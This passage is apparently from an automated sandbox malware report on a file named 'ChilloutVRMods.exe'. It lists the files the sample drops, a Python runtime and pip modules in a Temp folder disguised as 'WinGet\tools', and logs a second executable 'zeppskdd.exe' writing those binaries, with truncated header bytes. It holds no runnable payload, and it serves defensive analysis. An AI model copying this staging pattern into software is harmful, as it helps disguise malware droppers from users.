script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\packaging\specifiers.py]- [targetUID: 00000000-00004592] "process.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\concurrent\futures\process.py]- [targetUID: 00000000-00004592] "_multiprocessing.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_multiprocessing.pyd]- [targetUID: 00000000-00004592] "cmdoptions.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\cmdoptions.py]- [targetUID: 00000000-00004592] "install.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\install.py]- [targetUID: 00000000-00004592] "sslproto.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\sslproto.py]- [targetUID: 00000000-00004592] "_queue.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_queue.pyd]- [targetUID: 00000000-00004592] "streams.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\streams.py]- [targetUID: 00000000-00004592] "winsound.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\winsound.pyd]- [targetUID: 00000000-00004592] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\select.pyd]- [targetUID: 00000000-00004592] "appdirs.py" has type "Python script Unicode text UTF-8 text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\appdirs.py]- [targetUID: 00000000-00004592] "tags.py" has type "Python script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\packaging\tags.py]- [targetUID: 00000000-00004592] "_base.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\concurrent\futures\_base.py]- [targetUID: 00000000-00004592] "retry.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\retry.py]- [targetUID: 00000000-00004592] "_uuid.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_uuid.pyd]- [targetUID: 00000000-00004592] "shared_memory.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\multiprocessing\shared_memory.py]- [targetUID: 00000000-00004592] "cmd.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\distutils\cmd.py]- [targetUID: 00000000-00004592] "bindings.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\contrib\_securetransport\bindings.py]- [targetUID: 00000000-00004592] "ssl_.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\ssl_.py]- [targetUID: 00000000-00004592] "req_command.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\req_command.py]- [targetUID: 00000000-00004592] "version.py" has type "Python script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\packaging\version.py]- [targetUID: 00000000-00004592] "bcppcompiler.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\distutils\bcppcompiler.py]- [targetUID: 00000000-00004592] "util.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\multiprocessing\util.py]- [targetUID: 00000000-00004592] "url.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\url.py]- [targetUID: 00000000-00004592] "low_level.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\contrib\_securetransport\low_level.py]- [targetUID: 00000000-00004592] "util.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\util.py]- [targetUID: 00000000-00004592] "configuration.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\configuration.py]- [targetUID: 00000000-00004592] "exceptions.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\exceptions.py]- [targetUID: 00000000-00004592] "_aix.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\_aix.py]- [targetUID: 00000000-00004592] "wheel_builder.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\wheel_builder.py]- [targetUID: 00000000-00004592] "list.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\list.py]- [targetUID: 00000000-00004592] "synchronize.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\multiprocessing\synchronize.py]- [targetUID: 00000000-00004592] "dumb.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\dbm\dumb.py]- [targetUID: 00000000-00004592] "parser.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\parser.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script Unicode text UTF-8 text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\webencodings\__init__.py]- [targetUID: 00000000-00004592] "transports.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\transports.py]- [targetUID: 00000000-00004592] "build_env.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\build_env.py]- [targetUID: 00000000-00004592] "timeout.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\timeout.py]- [targetUID: 00000000-00004592] "cache.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cache.py]- [targetUID: 00000000-00004592] "spawn.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\multiprocessing\spawn.py]- [targetUID: 00000000-00004592] "markers.py" has type "Python script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\packaging\markers.py]- [targetUID: 00000000-00004592] "configuration.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\configuration.py]- [targetUID: 00000000-00004592] "labels.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\webencodings\labels.py]- [targetUID: 00000000-00004592] "archive_util.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\distutils\archive_util.py]- [targetUID: 00000000-00004592] "thread.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\concurrent\futures\thread.py]- [targetUID: 00000000-00004592] "progress_bars.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\progress_bars.py]- [targetUID: 00000000-00004592] "textpad.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\curses\textpad.py]- [targetUID: 00000000-00004592] "base_command.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\base_command.py]- [targetUID: 00000000-00004592] "subprocess.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\subprocess.py]- [targetUID: 00000000-00004592] "cache.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\cache.py]- [targetUID: 00000000-00004592] "pyproject.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\pyproject.py]- [targetUID: 00000000-00004592] "ssltransport.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\ssltransport.py]- [targetUID: 00000000-00004592] "debug.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\debug.py]- [targetUID: 00000000-00004592] "tests.py" has type "Python script Unicode text UTF-8 text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\webencodings\tests.py]- [targetUID: 00000000-00004592] "self_outdated_check.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\self_outdated_check.py]- [targetUID: 00000000-00004592] "autocompletion.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\autocompletion.py]- [targetUID: 00000000-00004592] "staggered.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\staggered.py]- [targetUID: 00000000-00004592] "trsock.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\trsock.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\dbm\__init__.py]- [targetUID: 00000000-00004592] "_implementation.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\packages\ssl_match_hostname\_implementation.py]- [targetUID: 00000000-00004592] "wait.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\wait.py]- [targetUID: 00000000-00004592] "dyld.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\macholib\dyld.py]- [targetUID: 00000000-00004592] "spinners.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\spinners.py]- [targetUID: 00000000-00004592] "windows_utils.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\windows_utils.py]- [targetUID: 00000000-00004592] "download.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\download.py]- [targetUID: 00000000-00004592] "connection.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\connection.py]- [targetUID: 00000000-00004592] "config.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\distutils\config.py]- [targetUID: 00000000-00004592] "requirements.py" has type "Python script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\packaging\requirements.py]- [targetUID: 00000000-00004592] "index.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\index.py]- [targetUID: 00000000-00004592] "x_user_defined.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\webencodings\x_user_defined.py]- [targetUID: 00000000-00004592] "request.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\request.py]- [targetUID: 00000000-00004592] "response.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\response.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\curses\__init__.py]- [targetUID: 00000000-00004592] "__main__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\__main__.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\multiprocessing\dummy\__init__.py]- [targetUID: 00000000-00004592] "completion.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\completion.py]- [targetUID: 00000000-00004592] "freeze.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\freeze.py]- [targetUID: 00000000-00004592] "main_parser.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\main_parser.py]- [targetUID: 00000000-00004592] "ascii.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\curses\ascii.py]- [targetUID: 00000000-00004592] "main.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\main.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\extern\__init__.py]- [targetUID: 00000000-00004592] "framework.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\macholib\framework.py]- [targetUID: 00000000-00004592] "_endian.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\_endian.py]- [targetUID: 00000000-00004592] "dylib.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\macholib\dylib.py]- [targetUID: 00000000-00004592] "utils.py" has type "Python script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\packaging\utils.py]- [targetUID: 00000000-00004592] "hash.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\hash.py]- [targetUID: 00000000-00004592] "connection.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\multiprocessing\dummy\connection.py]- [targetUID: 00000000-00004592] "proxy.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\proxy.py]- [targetUID: 00000000-00004592] "check.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\check.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\concurrent\futures\__init__.py]- [targetUID: 00000000-00004592] "makefile.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\packages\backports\makefile.py]- [targetUID: 00000000-00004592] "mklabels.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\webencodings\mklabels.py]- [targetUID: 00000000-00004592] "__main__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\__main__.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\__init__.py]- [targetUID: 00000000-00004592] "help.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\help.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\__init__.py]- [targetUID: 00000000-00004592] "_compat.py" has type "Python script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\packaging\_compat.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\multiprocessing\__init__.py]- [targetUID: 00000000-00004592] "threads.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\threads.py]- [targetUID: 00000000-00004592] "command_context.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\command_context.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\__init__.py]- [targetUID: 00000000-00004592] "queue.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\queue.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\__init__.py]- [targetUID: 00000000-00004592] "main.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\main.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\macholib\__init__.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\__init__.py]- [targetUID: 00000000-00004592] "abc.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\collections\abc.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\packages\__init__.py]- [targetUID: 00000000-00004592] "panel.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\curses\panel.py]- [targetUID: 00000000-00004592] "fetch_macholib" has type "POSIX shell script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\macholib\fetch_macholib]- [targetUID: 00000000-00004592] "gnu.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\dbm\gnu.py]- [targetUID: 00000000-00004592] "ndbm.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\dbm\ndbm.py]- [targetUID: 00000000-00004592]73:T85b8,"ChilloutVRMods.exe" wrote 21231 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\zeppskdd.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000380100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 33000 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\python.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 61680 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\python3.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 59632 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\python310.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 31464 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\pythonw.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 31624 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\vcruntime140.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 37256 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\vcruntime140_1.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 21752 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\libcrypto-1_1.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 32792 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\libffi-7.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 39672 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\libssl-1_1.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 60648 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\pyexpat.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 25840 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\select.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 23280 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\sqlite3.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 4336 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\unicodedata.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 26344 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\winsound.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 60648 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_asyncio.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 14576 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_bz2.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 54504 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_ctypes.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 50920 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_decimal.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 56552 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_elementtree.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 59112 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_hashlib.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 22248 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_lzma.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 40176 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_msi.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 29928 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_multiprocessing.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 45296 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_overlapped.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 27376 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_queue.pyd": 